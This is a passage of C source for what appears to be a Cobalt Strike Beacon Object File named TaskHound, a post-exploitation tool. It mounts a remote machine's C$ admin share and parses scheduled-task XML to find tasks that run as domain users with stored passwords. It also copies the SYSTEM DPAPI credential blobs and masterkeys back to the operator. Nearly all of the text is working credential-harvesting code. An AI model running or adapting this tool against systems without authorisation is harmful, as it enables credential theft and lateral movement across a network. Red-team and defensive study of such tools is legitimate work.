PAGE_READWRITE);\n        if (xml_content) {\n            int ascii_pos = 0;\n            for (int i = UTF16_BOM_SIZE; i < (int)bytes_read; i += 2) {\n                char c = buffer[i];\n                // Keep all valid XML characters including special XML chars like <, >, =, \", /, ?, etc.\n                // and printable ASCII plus essential whitespace and control chars\n                if (c != '\\0') {  // Just exclude null bytes, keep everything else\n                    xml_content[ascii_pos++] = c;\n                }\n            }\n            xml_content[ascii_pos] = '\\0';\n        }\n    } else {\n        // Regular ASCII/UTF-8 content - make a copy\n        xml_content = (char*)fpVirtualAlloc(NULL, bytes_read + 1, MEM_COMMIT, PAGE_READWRITE);\n        if (xml_content) {\n            for (int i = 0; i < (int)bytes_read; i++) {\n                xml_content[i] = buffer[i];\n            }\n            xml_content[bytes_read] = '\\0';\n        }\n    }\n    \n    return xml_content;\n}\n\n/**\n * Checks if task has stored credentials based on logon type\n */\nBOOL task_has_stored_credentials(const char* logon_type) {\n    if (!logon_type) return FALSE;\n    return bof_strcmp(logon_type, \"Password\") == 0;\n}\n\n/**\n * Extracts all relevant XML values from task content\n */\ntypedef struct {\n    char* run_as;\n    char* command;\n    char* arguments;\n    char* author;\n    char* date;\n    char* logon_type;\n    char* run_level;\n    BOOL has_stored_creds;\n} TaskInfo;\n\nBOOL parse_task_xml(char* xml_content, TaskInfo* task_info, pVirtualAlloc fpVirtualAlloc) {\n    if (!xml_content || !task_info) return FALSE;\n    \n    bof_memset(task_info, 0, sizeof(TaskInfo));\n    \n    // Parse XML for key information\n    task_info->run_as = find_xml_value(xml_content, \"UserId\", fpVirtualAlloc);\n    task_info->command = find_xml_value(xml_content, \"Command\", fpVirtualAlloc);\n    task_info->arguments = find_xml_value(xml_content, \"Arguments\", fpVirtualAlloc);\n    task_info->author = find_xml_value(xml_content, \"Author\", fpVirtualAlloc);\n    task_info->date = find_xml_value(xml_content, \"Date\", fpVirtualAlloc);\n    task_info->logon_type = find_xml_value(xml_content, \"LogonType\", fpVirtualAlloc);\n    task_info->run_level = find_xml_value(xml_content, \"RunLevel\", fpVirtualAlloc);\n    \n    // Determine if task has stored credentials\n    task_info->has_stored_creds = task_has_stored_credentials(task_info->logon_type);\n    \n    return TRUE;\n}\n\n/**\n * Cleans up allocated task info memory\n */\nvoid cleanup_task_info(TaskInfo* task_info, pVirtualFree fpVirtualFree) {\n    if (!task_info) return;\n    \n    if (task_info->run_as) fpVirtualFree(task_info->run_as, 0, MEM_RELEASE);\n    if (task_info->command) fpVirtualFree(task_info->command, 0, MEM_RELEASE);\n    if (task_info->arguments) fpVirtualFree(task_info->arguments, 0, MEM_RELEASE);\n    if (task_info->author) fpVirtualFree(task_info->author, 0, MEM_RELEASE);\n    if (task_info->date) fpVirtualFree(task_info->date, 0, MEM_RELEASE);\n    if (task_info->logon_type) fpVirtualFree(task_info->logon_type, 0, MEM_RELEASE);\n    if (task_info->run_level) fpVirtualFree(task_info->run_level, 0, MEM_RELEASE);\n    \n    bof_memset(task_info, 0, sizeof(TaskInfo));\n}\n\n/**\n * Process individual task file and return whether it should be counted\n */\nBOOL process_task_file(const char* file_path, const char* file_name, char* target, \n                      char* save_dir, BOOL show_unsaved_creds, DWORD file_size,\n                      pCreateFileA fpCreateFileA, pReadFile fpReadFile, pCloseHandle fpCloseHandle,\n                      pVirtualAlloc fpVirtualAlloc, pVirtualFree fpVirtualFree,\n                      pWriteFile fpWriteFile, pCreateDirectoryA fpCreateDirectoryA, \n                      pGetLastError fpGetLastError) {\n    \n    char* buffer = NULL;\n    \n    HANDLE hFile = fpCreateFileA(file_path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);\n    if (hFile == INVALID_HANDLE_VALUE) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[-] Could not read: %s\\n\", file_name);\n        return FALSE;\n    }\n    \n    if (file_size == INVALID_FILE_SIZE || file_size >= MAX_FILE_SIZE) {\n        fpCloseHandle(hFile);\n        return FALSE;\n    }\n    \n    // Allocate buffer\n    buffer = (char*)fpVirtualAlloc(NULL, file_size + 1, MEM_COMMIT, PAGE_READWRITE);\n    if (!buffer) {\n        fpCloseHandle(hFile);\n        return FALSE;\n    }\n    \n    DWORD bytes_read = 0;\n    if (!fpReadFile(hFile, buffer, file_size, &bytes_read, NULL)) {\n        fpVirtualFree(buffer, 0, MEM_RELEASE);\n        fpCloseHandle(hFile);\n        return FALSE;\n    }\n    \n    fpCloseHandle(hFile);\n    buffer[bytes_read] = '\\0';\n    \n    // Process XML content\n    char* xml_content = process_xml_encoding(buffer, bytes_read, fpVirtualAlloc);\n    if (!xml_content) {\n        fpVirtualFree(buffer, 0, MEM_RELEASE);\n        return FALSE;\n    }\n    \n    // Parse XML using TaskInfo structure\n    TaskInfo task_info;\n    if (!parse_task_xml(xml_content, &task_info, fpVirtualAlloc)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to parse task XML: %s\\n\", file_name);\n        fpVirtualFree(xml_content, 0, MEM_RELEASE);\n        fpVirtualFree(buffer, 0, MEM_RELEASE);\n        return FALSE;\n    }\n    \n    // Apply filtering logic\n    BOOL should_display = FALSE;\n    if (task_info.run_as) {\n        BOOL has_stored_creds = task_info.has_stored_creds;\n        \n        // Show task if it's a domain user OR if it has stored credentials\n        if (looks_like_domain_user(task_info.run_as) || has_stored_creds) {\n            // Only show if they have stored creds OR unsaved-creds flag is set\n            if (has_stored_creds || show_unsaved_creds) {\n                should_display = TRUE;\n            }\n        }\n    }\n    \n    BOOL task_processed = FALSE;\n    if (should_display) {\n        // Save file if save directory specified (only save filtered tasks)\n        if (save_dir) {\n            if (save_raw_task_xml(save_dir, target, file_name, buffer, bytes_read, fpCreateFileA, \n                                fpWriteFile, fpCloseHandle, fpCreateDirectoryA, fpGetLastError)) {\n                BeaconPrintf(CALLBACK_OUTPUT, \"[+] Saved: %s\\\\%s\\\\Windows\\\\System32\\\\Tasks\\\\%s\\n\", save_dir, target, file_name);\n            } else {\n                BeaconPrintf(CALLBACK_OUTPUT, \"[-] Failed to save: %s\\\\%s\\\\Windows\\\\System32\\\\Tasks\\\\%s\\n\", save_dir, target, file_name);\n            }\n        }\n        \n        // Format output line\n        char output_line[MAX_OUTPUT_LINE_SIZE];\n        if (bof_strcpy_safe(output_line, file_name, sizeof(output_line)) &&\n            bof_strcat_safe(output_line, \": \", sizeof(output_line))) {\n            \n            if (task_info.run_as) {\n                bof_strcat_safe(output_line, task_info.run_as, sizeof(output_line));\n                bof_strcat_safe(output_line, \" is executing \", sizeof(output_line));\n            }\n            \n            if (task_info.command) {\n                bof_strcat_safe(output_line, task_info.command, sizeof(output_line));\n                if (task_info.arguments) {\n                    bof_strcat_safe(output_line, \" \", sizeof(output_line));\n                    bof_strcat_safe(output_line, task_info.arguments, sizeof(output_line));\n                }\n            }\n            \n            // Add credential type indicator\n            if (task_info.logon_type) {\n                const char* cred_indicator = task_info.has_stored_creds ? \" [STORED CREDS]\" : \" [INTERACTIVE TOKEN]\";\n                bof_strcat_safe(output_line, cred_indicator, sizeof(output_line));\n            }\n            \n            BeaconPrintf(CALLBACK_OUTPUT, \"%s\\n\", output_line);\n            task_processed = TRUE;\n        }\n    }\n    \n    // Cleanup\n    cleanup_task_info(&task_info, fpVirtualFree);\n    fpVirtualFree(xml_content, 0, MEM_RELEASE);\n    fpVirtualFree(buffer, 0, MEM_RELEASE);\n    \n    return task_processed;\n}\n\n/**\n * Recursively traverse directories and process task files\n */\nint traverse_task_directory(const char* base_path, const char* current_subdir, char* target, \n                           char* save_dir, BOOL show_unsaved_creds,\n                           pFindFirstFileA fpFindFirstFileA, pFindNextFileA fpFindNextFileA, \n                           pFindClose fpFindClose, pCreateFileA fpCreateFileA, pReadFile fpReadFile,\n                           pCloseHandle fpCloseHandle, pGetFileSize fpGetFileSize,\n                           pVirtualAlloc fpVirtualAlloc, pVirtualFree fpVirtualFree,\n                           pWriteFile fpWriteFile, pCreateDirectoryA fpCreateDirectoryA, \n                           pGetLastError fpGetLastError) {\n    \n    char search_path[MAX_PATH_LENGTH];\n    char current_dir_path[MAX_PATH_LENGTH];\n    WIN32_FIND_DATAA findFileData;\n    HANDLE hFind;\n    int task_count = 0;\n    \n    // Build the current directory path\n    if (!bof_strcpy_safe(current_dir_path, base_path, sizeof(current_dir_path))) return 0;\n    if (current_subdir && bof_strlen(current_subdir) > 0) {\n        if (!bof_strcat_safe(current_dir_path, \"\\\\\", sizeof(current_dir_path)) ||\n            !bof_strcat_safe(current_dir_path, current_subdir, sizeof(current_dir_path))) return 0;\n    }\n    \n    // Build search path for all files and directories in current directory\n    if (!bof_strcpy_safe(search_path, current_dir_path, sizeof(search_path)) ||\n        !bof_strcat_safe(search_path, \"\\\\*\", sizeof(search_path))) return 0;\n    \n    hFind = fpFindFirstFileA(search_path, &findFileData);\n    if (hFind == INVALID_HANDLE_VALUE) {\n        return 0;\n    }\n    \n    do {\n        // Skip . and .. entries\n        if (bof_strcmp(findFileData.cFileName, \".\") == 0 || \n            bof_strcmp(findFileData.cFileName, \"..\") == 0) {\n            continue;\n        }\n        \n        if (findFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {\n            // This is a subdirectory - recurse into it\n            char subdir_path[MAX_PATH_LENGTH];\n            if (current_subdir && bof_strlen(current_subdir) > 0) {\n                if (bof_strcpy_safe(subdir_path, current_subdir, sizeof(subdir_path)) &&\n                    bof_strcat_safe(subdir_path, \"\\\\\", sizeof(subdir_path)) &&\n                    bof_strcat_safe(subdir_path, findFileData.cFileName, sizeof(subdir_path))) {\n                    task_count += traverse_task_directory(base_path, subdir_path, target, save_dir, show_unsaved_creds,\n                                                        fpFindFirstFileA, fpFindNextFileA, fpFindClose, \n                                                        fpCreateFileA, fpReadFile, fpCloseHandle, fpGetFileSize,\n                                                        fpVirtualAlloc, fpVirtualFree, fpWriteFile, \n                                                        fpCreateDirectoryA, fpGetLastError);\n                }\n            } else {\n                task_count += traverse_task_directory(base_path, findFileData.cFileName, target, save_dir, show_unsaved_creds,\n                                                    fpFindFirstFileA, fpFindNextFileA, fpFindClose, \n                                                    fpCreateFileA, fpReadFile, fpCloseHandle, fpGetFileSize,\n                                                    fpVirtualAlloc, fpVirtualFree, fpWriteFile, \n                                                    fpCreateDirectoryA, fpGetLastError);\n            }\n        } else {\n            // This is a file - skip system files and process task files\n            if (bof_strcmp(findFileData.cFileName, \"desktop.ini\") == 0) {\n                continue;\n            }\n            \n            // Build full path to the file\n            char full_path[MAX_PATH_LENGTH];\n            if (!bof_strcpy_safe(full_path, current_dir_path, sizeof(full_path)) ||\n                !bof_strcat_safe(full_path, \"\\\\\", sizeof(full_path)) ||\n                !bof_strcat_safe(full_path, findFileData.cFileName, sizeof(full_path))) {\n                continue;\n            }\n            \n            // Get file size\n            HANDLE hFile = fpCreateFileA(full_path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);\n            if (hFile != INVALID_HANDLE_VALUE) {\n                DWORD file_size = fpGetFileSize(hFile, NULL);\n                fpCloseHandle(hFile);\n                \n                // Process the task file (allocates its own buffer internally)\n                if (process_task_file(full_path, findFileData.cFileName, target, save_dir, show_unsaved_creds,\n                                    file_size, fpCreateFileA, fpReadFile, fpCloseHandle,\n                                    fpVirtualAlloc, fpVirtualFree, fpWriteFile, fpCreateDirectoryA, fpGetLastError)) {\n                    task_count++;\n                }\n            }\n        }\n    } while (fpFindNextFileA(hFind, &findFileData) != 0);\n    \n    fpFindClose(hFind);\n    return task_count;\n}\n\n// ============================================================================\n// DPAPI Credential & Masterkey Collection Functions\n// ============================================================================\n\n/**\n * Creates directory structure for saving credential blobs\n * Creates: save_dir\\hostname\\credentials\n */\nBOOL create_credentials_directory(const char* save_dir, const char* target_host,\n                                 pCreateDirectoryA fpCreateDirectoryA, char* final_path, int final_path_size) {\n    if (!save_dir || !target_host || !fpCreateDirectoryA || !final_path || final_path_size <= 0) {\n        return FALSE;\n    }\n    \n    char temp_path[MAX_PATH_LENGTH];\n    \n    // First create the save_dir if it doesn't exist\n    fpCreateDirectoryA(save_dir, NULL);\n    \n    // Create save_dir\\hostname\n    if (!build_directory_path(temp_path, save_dir, target_host, sizeof(temp_path))) return FALSE;\n    fpCreateDirectoryA(temp_path, NULL);\n    \n    // Create save_dir\\hostname\\credentials\n    if (!bof_strcat_safe(temp_path, \"\\\\credentials\", sizeof(temp_path))) return FALSE;\n    fpCreateDirectoryA(temp_path, NULL);\n    \n    // Copy final path to output\n    return bof_strcpy_safe(final_path, temp_path, final_path_size);\n}\n\n/**\n * Creates directory structure for saving masterkeys\n * Creates: save_dir\\hostname\\masterkeys\n */\nBOOL create_masterkeys_directory(const char* save_dir, const char* target_host,\n                                pCreateDirectoryA fpCreateDirectoryA, char* final_path, int final_path_size) {\n    if (!save_dir || !target_host || !fpCreateDirectoryA || !final_path || final_path_size <= 0) {\n        return FALSE;\n    }\n    \n    char temp_path[MAX_PATH_LENGTH];\n    \n    // First create the save_dir if it doesn't exist\n    fpCreateDirectoryA(save_dir, NULL);\n    \n    // Create save_dir\\hostname\n    if (!build_directory_path(temp_path, save_dir, target_host, sizeof(temp_path))) return FALSE;\n    fpCreateDirectoryA(temp_path, NULL);\n    \n    // Create save_dir\\hostname\\masterkeys\n    if (!bof_strcat_safe(temp_path, \"\\\\masterkeys\", sizeof(temp_path))) return FALSE;\n    fpCreateDirectoryA(temp_path, NULL);\n    \n    // Copy final path to output\n    return bof_strcpy_safe(final_path, temp_path, final_path_size);\n}\n\n/**\n * Collects all credential blobs from remote system\n * Path: \\\\target\\C$\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Credentials\\*\n */\nint collect_credential_blobs(const char* remote_path, const char* target, const char* save_dir,\n                            pFindFirstFileA fpFindFirstFileA, pFindNextFileA fpFindNextFileA,\n                            pFindClose fpFindClose, pCreateFileA fpCreateFileA,\n                            pReadFile fpReadFile, pCloseHandle fpCloseHandle,\n                            pGetFileSize fpGetFileSize, pVirtualAlloc fpVirtualAlloc,\n                            pVirtualFree fpVirtualFree, pWriteFile fpWriteFile,\n                            pCreateDirectoryA fpCreateDirectoryA, pGetLastError fpGetLastError) {\n    \n    WIN32_FIND_DATAA findFileData;\n    char search_path[MAX_PATH_LENGTH];\n    char full_path[MAX_PATH_LENGTH];\n    char save_path[MAX_PATH_LENGTH];\n    char creds_dir[MAX_PATH_LENGTH];\n    int blob_count = 0;\n    \n    // Build credential blobs path: \\\\target\\C$\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Credentials\\*\n    if (!bof_strcpy_safe(search_path, remote_path, sizeof(search_path))) return 0;\n    if (!bof_strcat_safe(search_path, \"\\\\Windows\\\\System32\\\\config\\\\systemprofile\\\\AppData\\\\Local\\\\Microsoft\\\\Credentials\\\\*\", sizeof(search_path))) return 0;\n    \n    BeaconPrintf(CALLBACK_OUTPUT, \"[*] Enumerating credential blobs...\\n\");\n    \n    HANDLE hFind = fpFindFirstFileA(search_path, &findFileData);\n    if (hFind == INVALID_HANDLE_VALUE) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to enumerate credential blobs (Error: %d)\\n\", fpGetLastError());\n        return 0;\n    }\n    \n    // Create credentials save directory\n    if (!create_credentials_directory(save_dir, target, fpCreateDirectoryA, creds_dir, sizeof(creds_dir))) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to create credentials directory\\n\");\n        fpFindClose(hFind);\n        return 0;\n    }\n    \n    do {\n        // Skip directories and special entries\n        if (findFileData.cFileName[0] == '.' ||\n            (findFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) {\n            continue;\n        }\n        \n        // Only process small files (credential blobs are typically < 10KB)\n        DWORD file_size = findFileData.nFileSizeLow;\n        if (file_size > 10000 || file_size == 0) {\n            continue;\n        }\n        \n        // Build full remote path\n        if (!bof_strcpy_safe(full_path, remote_path, sizeof(full_path))) continue;\n        if (!bof_strcat_safe(full_path, \"\\\\Windows\\\\System32\\\\config\\\\systemprofile\\\\AppData\\\\Local\\\\Microsoft\\\\Credentials\\\\\", sizeof(full_path))) continue;\n        if (!bof_strcat_safe(full_path, findFileData.cFileName, sizeof(full_path))) continue;\n        \n        // Read the credential blob file\n        HANDLE hFile = fpCreateFileA(full_path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);\n        if (hFile == INVALID_HANDLE_VALUE) {\n            continue;\n        }\n        \n        // Allocate buffer for file content\n        char* buffer = (char*)fpVirtualAlloc(NULL, file_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);\n        if (!buffer) {\n            fpCloseHandle(hFile);\n            continue;\n        }\n        \n        // Read file content\n        DWORD bytes_read;\n        if (!fpReadFile(hFile, buffer, file_size, &bytes_read, NULL) || bytes_read != file_size) {\n            fpVirtualFree(buffer, 0, MEM_RELEASE);\n            fpCloseHandle(hFile);\n            continue;\n        }\n        fpCloseHandle(hFile);\n        \n        // Build save path\n        if (!build_directory_path(save_path, creds_dir, findFileData.cFileName, sizeof(save_path))) {\n            fpVirtualFree(buffer, 0, MEM_RELEASE);\n            continue;\n        }\n        \n        // Write the blob file\n        if (write_raw_file(save_path, buffer, file_size, fpCreateFileA, fpWriteFile, fpCloseHandle, fpGetLastError)) {\n            blob_count++;\n            BeaconPrintf(CALLBACK_OUTPUT, \"[+] Collected credential blob: %s (%d bytes)\\n\", findFileData.cFileName, file_size);\n        }\n        \n        fpVirtualFree(buffer, 0, MEM_RELEASE);\n        \n    } while (fpFindNextFileA(hFind, &findFileData) != 0);\n    \n    fpFindClose(hFind);\n    return blob_count;\n}\n\n/**\n * Collects all SYSTEM masterkeys from remote system\n * Path: \\\\target\\C$\\Windows\\System32\\Microsoft\\Protect\\S-1-5-18\\User\\*\n */\nint collect_masterkeys(const char* remote_path, const char* target, const char* save_dir,\n                      pFindFirstFileA fpFindFirstFileA, pFindNextFileA fpFindNextFileA,\n                      pFindClose fpFindClose, pCreateFileA fpCreateFileA,\n                      pReadFile fpReadFile, pCloseHandle fpCloseHandle,\n                      pGetFileSize fpGetFileSize, pVirtualAlloc fpVirtualAlloc,\n                      pVirtualFree fpVirtualFree, pWriteFile fpWriteFile,\n                      pCreateDirectoryA fpCreateDirectoryA, pGetLastError fpGetLastError) {\n    \n    WIN32_FIND_DATAA findFileData;\n    char search_path[MAX_PATH_LENGTH];\n    char full_path[MAX_PATH_LENGTH];\n    char save_path[MAX_PATH_LENGTH];\n    char masterkeys_dir[MAX_PATH_LENGTH];\n    int masterkey_count = 0;\n    \n    // Build masterkey path: \\\\target\\C$\\Windows\\System32\\Microsoft\\Protect\\S-1-5-18\\User\\*\n    if (!bof_strcpy_safe(search_path, remote_path, sizeof(search_path))) return 0;\n    if (!bof_strcat_safe(search_path, \"\\\\Windows\\\\System32\\\\Microsoft\\\\Protect\\\\S-1-5-18\\\\User\\\\*\", sizeof(search_path))) return 0;\n    \n    BeaconPrintf(CALLBACK_OUTPUT, \"[*] Enumerating SYSTEM masterkeys...\\n\");\n    \n    HANDLE hFind = fpFindFirstFileA(search_path, &findFileData);\n    if (hFind == INVALID_HANDLE_VALUE) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to enumerate masterkeys (Error: %d)\\n\", fpGetLastError());\n        return 0;\n    }\n    \n    // Create masterkeys save directory\n    if (!create_masterkeys_directory(save_dir, target, fpCreateDirectoryA, masterkeys_dir, sizeof(masterkeys_dir))) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to create masterkeys directory\\n\");\n        fpFindClose(hFind);\n        return 0;\n    }\n    \n    do {\n        // Skip directories and special entries\n        if (findFileData.cFileName[0] == '.' ||\n            (findFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) {\n            continue;\n        }\n        \n        // Get file size\n        DWORD file_size = findFileData.nFileSizeLow;\n        if (file_size == 0 || file_size > 100000) {  // Skip very large files\n            continue;\n        }\n        \n        // Build full remote path\n        if (!bof_strcpy_safe(full_path, remote_path, sizeof(full_path))) continue;\n        if (!bof_strcat_safe(full_path, \"\\\\Windows\\\\System32\\\\Microsoft\\\\Protect\\\\S-1-5-18\\\\User\\\\\", sizeof(full_path))) continue;\n        if (!bof_strcat_safe(full_path, findFileData.cFileName, sizeof(full_path))) continue;\n        \n        // Read the masterkey file\n        HANDLE hFile = fpCreateFileA(full_path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);\n        if (hFile == INVALID_HANDLE_VALUE) {\n            continue;\n        }\n        \n        // Allocate buffer for file content\n        char* buffer = (char*)fpVirtualAlloc(NULL, file_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);\n        if (!buffer) {\n            fpCloseHandle(hFile);\n            continue;\n        }\n        \n        // Read file content\n        DWORD bytes_read;\n        if (!fpReadFile(hFile, buffer, file_size, &bytes_read, NULL) || bytes_read != file_size) {\n            fpVirtualFree(buffer, 0, MEM_RELEASE);\n            fpCloseHandle(hFile);\n            continue;\n        }\n        fpCloseHandle(hFile);\n        \n        // Build save path\n        if (!build_directory_path(save_path, masterkeys_dir, findFileData.cFileName, sizeof(save_path))) {\n            fpVirtualFree(buffer, 0, MEM_RELEASE);\n            continue;\n        }\n        \n        // Write the masterkey file\n        if (write_raw_file(save_path, buffer, file_size, fpCreateFileA, fpWriteFile, fpCloseHandle, fpGetLastError)) {\n            masterkey_count++;\n            BeaconPrintf(CALLBACK_OUTPUT, \"[+] Collected masterkey: %s (%d bytes)\\n\", findFileData.cFileName, file_size);\n        }\n        \n        fpVirtualFree(buffer, 0, MEM_RELEASE);\n        \n    } while (fpFindNextFileA(hFind, &findFileData) != 0);\n    \n    fpFindClose(hFind);\n    return masterkey_count;\n}\n\n// ============================================================================\n// Main Entry Point\n// ============================================================================\n\nvoid go(char* args, int len) {\n    datap parser;\n    char* target;\n    char* username;\n    char* password;\n    char* save_dir;\n    char* flags;\n    BOOL show_unsaved_creds = FALSE;\n    BOOL grab_blobs = FALSE;\n    char remote_path[512];\n    NETRESOURCEA netResource;\n    DWORD result;\n    \n    // Get API functions\n    HMODULE hMpr = LoadLibraryA(\"mpr.dll\");\n    HMODULE hKernel32 = GetModuleHandleA(\"kernel32.dll\");\n    \n    if (!hMpr || !hKernel32) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to load required libraries\\n\");\n        return;\n    }\n    \n    pWNetAddConnection2A fpWNetAddConnection2A = (pWNetAddConnection2A)GetProcAddress(hMpr, \"WNetAddConnection2A\");\n    pWNetCancelConnection2A fpWNetCancelConnection2A = (pWNetCancelConnection2A)GetProcAddress(hMpr, \"WNetCancelConnection2A\");\n    pFindFirstFileA fpFindFirstFileA = (pFindFirstFileA)GetProcAddress(hKernel32, \"FindFirstFileA\");\n    pFindNextFileA fpFindNextFileA = (pFindNextFileA)GetProcAddress(hKernel32, \"FindNextFileA\");\n    pFindClose fpFindClose = (pFindClose)GetProcAddress(hKernel32, \"FindClose\");\n    pCreateFileA fpCreateFileA = (pCreateFileA)GetProcAddress(hKernel32, \"CreateFileA\");\n    pReadFile fpReadFile = (pReadFile)GetProcAddress(hKernel32, \"ReadFile\");\n    pCloseHandle fpCloseHandle = (pCloseHandle)GetProcAddress(hKernel32, \"CloseHandle\");\n    pGetFileSize fpGetFileSize = (pGetFileSize)GetProcAddress(hKernel32, \"GetFileSize\");\n    pVirtualAlloc fpVirtualAlloc = (pVirtualAlloc)GetProcAddress(hKernel32, \"VirtualAlloc\");\n    pVirtualFree fpVirtualFree = (pVirtualFree)GetProcAddress(hKernel32, \"VirtualFree\");\n    pWriteFile fpWriteFile = (pWriteFile)GetProcAddress(hKernel32, \"WriteFile\");\n    pCreateDirectoryA fpCreateDirectoryA = (pCreateDirectoryA)GetProcAddress(hKernel32, \"CreateDirectoryA\");\n    pGetLastError fpGetLastError = (pGetLastError)GetProcAddress(hKernel32, \"GetLastError\");\n    \n    // Check if all required functions are available\n    if (!fpWNetAddConnection2A || !fpWNetCancelConnection2A || !fpFindFirstFileA || \n        !fpFindNextFileA || !fpFindClose || !fpCreateFileA || !fpReadFile || \n        !fpCloseHandle || !fpGetFileSize || !fpVirtualAlloc || !fpVirtualFree) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to resolve required API functions\\n\");\n        return;\n    }\n    \n    // Parse arguments - Always expect 5 cstr parameters\n    BeaconDataParse(&parser, args, len);\n    \n    target = BeaconDataExtract(&parser, NULL);\n    username = BeaconDataExtract(&parser, NULL);\n    password = BeaconDataExtract(&parser, NULL);\n    save_dir = BeaconDataExtract(&parser, NULL);\n    flags = BeaconDataExtract(&parser, NULL);\n    \n    // Validate required target\n    if (!target || bof_strlen(target) == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Target hostname/IP is required\\n\");\n        FreeLibrary(hMpr);\n        return;\n    }\n    \n    // Handle empty strings as NULL for optional parameters\n    if (username && bof_strlen(username) == 0) username = NULL;\n    if (password && bof_strlen(password) == 0) password = NULL;\n    if (save_dir && bof_strlen(save_dir) == 0) save_dir = NULL;\n    \n    // Parse flags\n    if (flags && bof_strlen(flags) > 0) {\n        if (bof_strstr(flags, \"-unsaved-creds\")) {\n            show_unsaved_creds = TRUE;\n        }\n        if (bof_strstr(flags, \"-grab-blobs\")) {\n            grab_blobs = TRUE;\n        }\n    }\n    \n    // Check if write functions are available when save_dir is specified\n    if (save_dir && (!fpWriteFile || !fpCreateDirectoryA)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to resolve file write API functions\\n\");\n        FreeLibrary(hMpr);\n        return;\n    }\n    \n    BeaconPrintf(CALLBACK_OUTPUT, \"[+] TaskHound - Remote Task Collection\\n\");\n    BeaconPrintf(CALLBACK_OUTPUT, \"[+] Target: %s\\n\", target);\n    \n    if (username) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Using credentials: %s\\n\", username);\n    } else {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Using current user context\\n\");\n    }\n    \n    if (save_dir) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Save directory: %s\\n\", save_dir);\n    }\n    \n    if (show_unsaved_creds) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Showing tasks without stored credentials\\n\");\n    }\n    \n    if (grab_blobs) {\n        if (save_dir) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[+] Will collect credential blobs and masterkeys\\n\");\n        } else {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Warning: -grab-blobs requires -save flag\\n\");\n            grab_blobs = FALSE;\n        }\n    }\n    \n    // Setup network connection\n    bof_memset(&netResource, 0, sizeof(NETRESOURCEA));\n    netResource.dwType = RESOURCETYPE_DISK;\n    netResource.dwDisplayType = RESOURCEDISPLAYTYPE_SHARE;\n    netResource.dwUsage = RESOURCEUSAGE_CONNECTABLE;\n    \n    // Build UNC path for admin share\n    if (!bof_strcpy_safe(remote_path, \"\\\\\\\\\", sizeof(remote_path))) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to build remote path\\n\");\n        FreeLibrary(hMpr);\n        return;\n    }\n    if (!bof_strcat_safe(remote_path, target, sizeof(remote_path))) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to build remote path\\n\");\n        FreeLibrary(hMpr);\n        return;\n    }\n    if (!bof_strcat_safe(remote_path, \"\\\\C$\", sizeof(remote_path))) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to build remote path\\n\");\n        FreeLibrary(hMpr);\n        return;\n    }\n    netResource.lpRemoteName = remote_path;\n    \n    // Attempt to connect with provided credentials or current context\n    result = fpWNetAddConnection2A(&netResource, password, username, 0);\n    \n    if (result != NO_ERROR) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to connect to %s (Error: %d)\\n\", remote_path, result);\n        FreeLibrary(hMpr);\n        return;\n    }\n    \n    // Build base Tasks directory path\n    char tasks_base_path[MAX_PATH_LENGTH];\n    if (!bof_strcpy_safe(tasks_base_path, remote_path, sizeof(tasks_base_path)) ||\n        !bof_strcat_safe(tasks_base_path, \"\\\\Windows\\\\System32\\\\Tasks\", sizeof(tasks_base_path))) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to build Tasks directory path\\n\");\n        fpWNetCancelConnection2A(remote_path, 0, TRUE);\n        FreeLibrary(hMpr);\n        return;\n    }\n    \n    // Recursively traverse the Tasks directory and all subdirectories\n    int task_count = traverse_task_directory(tasks_base_path, NULL, target, save_dir, show_unsaved_creds,\n                                           fpFindFirstFileA, fpFindNextFileA, fpFindClose, \n                                           fpCreateFileA, fpReadFile, fpCloseHandle, fpGetFileSize,\n                                           fpVirtualAlloc, fpVirtualFree, fpWriteFile, \n                                           fpCreateDirectoryA, fpGetLastError);\n    \n    // Collect credential blobs and masterkeys if requested\n    int blob_count = 0;\n    int masterkey_count = 0;\n    \n    if (grab_blobs && save_dir) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"\\n[*] Collecting DPAPI files...\\n\");\n        \n        // Collect credential blobs\n        blob_count = collect_credential_blobs(remote_path, target, save_dir,\n                                             fpFindFirstFileA, fpFindNextFileA, fpFindClose,\n                                             fpCreateFileA, fpReadFile, fpCloseHandle,\n                                             fpGetFileSize, fpVirtualAlloc, fpVirtualFree,\n                                             fpWriteFile, fpCreateDirectoryA, fpGetLastError);\n        \n        // Collect masterkeys\n        masterkey_count = collect_masterkeys(remote_path, target, save_dir,\n                                           fpFindFirstFileA, fpFindNextFileA, fpFindClose,\n                                           